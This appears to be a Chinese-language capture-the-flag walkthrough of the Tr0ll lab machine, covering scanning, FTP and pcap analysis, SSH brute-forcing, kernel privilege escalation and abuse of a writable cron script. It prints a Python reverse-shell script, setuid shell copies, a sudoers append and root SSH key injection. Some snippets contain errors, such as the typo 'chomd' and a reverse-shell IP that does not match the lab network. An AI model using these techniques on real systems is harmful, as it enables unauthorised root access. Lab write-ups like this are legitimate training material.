【第4个渗透靶机项目】 Tr0ll

每天都要加油哦!


0x00  信息搜集

首先找到一下靶机的ip,并扫描端口。

靶机和kali都是桥接。

那么先看一下kali的ifconfig信息。

nmap -sn 192.168.0.0/24 因为我扫的太慢了。所以就仅扫描主机了.

11是kali。猜测10是靶机。扫描一下端口。

┌──(root㉿wxw)-[~]
└─# nmap 192.168.0.10 -sS -sV -A -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-25 03:01 CST
Nmap scan report for 192.168.0.10
Host is up (0.00076s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.0.21
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Aggressive OS guesses: Linux 3.2 - 4.9 (97%), Linux 3.10 - 4.11 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Android 5.1 (94%), Linux 3.2 - 3.16 (94%), Sony Android TV (Android 5.0) (93%), Linux 3.13 (93%), Linux 3.16 (93%), Linux 4.8 (93%), Android 7.1.2 (Linux 3.4) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

应该就是这个。先看看http服务。

似乎没有什么信息。扫描一下目录吧。

dirsearch扫出来两个有用信息。

查看一下robots.txt,似乎没有什么有用信息。

又是一张图片。似乎也没什么用。

0x01  FTP和wireshark流量分析

看看ftp协议。我们从上面得到以下信息。

因为有匿名访问。登陆ftp 192.168.0.10。密码为空。

用get将流量文件下载下来

命令行输入wireshark lol.pcap。打开wireshark

因为是两个ip的对话。所以我们要看ftp协议。

最终一下tcp流。

翻译一下

这里枚举出了一个文件。Secret_stuff.txt文件。

同样追踪tcp流,得到以下信息。

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

后来发现这是一个目录。

0x02

访问那个txt文件。可能是在某个目录下。或者只是一个诱惑而已。

访问sup3rs3cr3tdirlol目录

发现一个文件

是一个二进制文件。

用file命令查看一下。

是一个32位的可执行程序。

用exiftool查看一下它的简单信息

使用strings查看一下字符信息。

有两个有用信息。

这是一个文件夹

查看一下文件夹的内容。

它提示你有密码,不是文件名就是文件内容。

一个是账号,一个是密码。用九头蛇hydra暴力枚举!

一秒枚举出来密码

0x02   第一种内核提权

立刻登陆!

ssh overflow@192.168.0.10

成功登陆

这是一个伪shell

安装了python。我们用python -c 'import pty; pty .spawn("/bin/bash")' 获得回显shell

提权进入tmp目录。

使用uname -a查看系统信息.

uname -a命令用于显示有关系统内核和操作系统的详细信息。它返回一个包含以下内容的字符串:
内核名称:显示当前正在运行的内核的名称。
主机名:显示系统的主机名。
内核版本号:显示当前运行内核的版本号。
操作系统类型:显示操作系统的类型,例如Linux。
发行版信息:可能包括发行版名称、版本号和其他特定信息。

由上面的信息可以知道它是Ubuntu系统。

我们来搜索一下它的exp

有两个可以利用的exp

locate定位,然后把copy文件放到桌面,方便利用

打开文件,看看怎么用。

只需要gcc编译就行了。

在本机创建一个http服务。

注意一定要在tmp目录下。

成功内核提权

最终拿到flag

0x03 计划任务重写

第1种方法   python反弹shell

这个靶场比较特殊,每隔五分钟就会强迫你退出ssh,并且删除tmp目录的所有文件。猜测这可能是计划任务。一个脚本。

find / -name cronlog 2>/dev/null  查看计划任务日志信息。

查看这个cleaner.py文件在哪里。

查看这个文件的权限,发现是最高权限。

但是用vim不能编辑。

我们用nano编辑。编辑完ctrl x,再按y保存。

将python反弹shell的脚本,编写进cleaner.py里面。

#!/usr/bin/python
def con():
    import socket, time,pty, os
    host='10.211.55.19'
    port=9999
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host,port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
con()

过了几分钟,接收到反弹shell

第2种方法  创建root可执行程序,获得root权限

os.system('cp /bin/sh /tmp/dayu1')  把/bin/bash移动到tmp目录下。
os.system('chmod u+s /tmp/dayu1')  赋予最高权限

或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:

os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')

再python脚本里面写入

import os
import sys
try:
    os.system('cp /bin/sh /tmp/sh')
    os.system('chomd u+s /tmp/sh')
except:
    sys.exit()

第3种方法  RSA私钥登陆SSH

本机生成ssh钥对。将公钥放到/root/.ssh/authorized_keys目录下即可。

mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICf+uyOJDBJOZywRET3dFXHFJixzkAncha3eX4dZ0nJO root@wxw" >> /root/.ssh/authorized_keys

可以直接登陆!